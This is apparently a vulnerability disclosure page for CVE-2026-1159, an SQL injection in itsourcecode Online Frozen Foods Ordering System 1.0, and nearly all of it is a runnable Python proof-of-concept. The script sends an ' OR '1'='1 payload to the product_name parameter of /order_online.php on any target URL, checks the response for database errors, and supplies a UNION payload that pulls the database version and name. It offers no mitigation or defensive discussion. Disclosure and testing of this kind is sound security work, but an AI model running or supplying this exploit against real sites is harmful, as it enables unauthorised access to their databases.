CVE-2026-1159: itsourcecode Online Frozen Foods Ordering System 1.0 SQL注入漏洞

import requests import sys # CVE-2026-1159 SQL Injection PoC # Target: itsourcecode Online Frozen Foods Ordering System 1.0 # File: /order_online.php # Parameter: product_name def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2026-1159 This demonstrates the vulnerability in product_name parameter """ endpoint = f"{target_url}/order_online.php" # Basic authentication bypass payload payload = "' OR '1'='1" data = { 'product_name': payload, 'submit': 'Submit' } print(f"[*] Target: {endpoint}") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'mysql' in response.text.lower(): print("[!] Potential SQL injection detected!") print("[*] Response snippet:", response.text[:500]) else: print("[*] No obvious SQL errors in response") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # UNION-based payload for database enumeration def union_payload(): """ Example UNION-based SQL injection payload """ return "' UNION SELECT NULL,NULL,version(),database(),NULL-- -" if __name__ == "__main__": if len(sys.argv) > 1: exploit_sqli(sys.argv[1]) else: print("Usage: python cve-2026-1159.py <target_url>")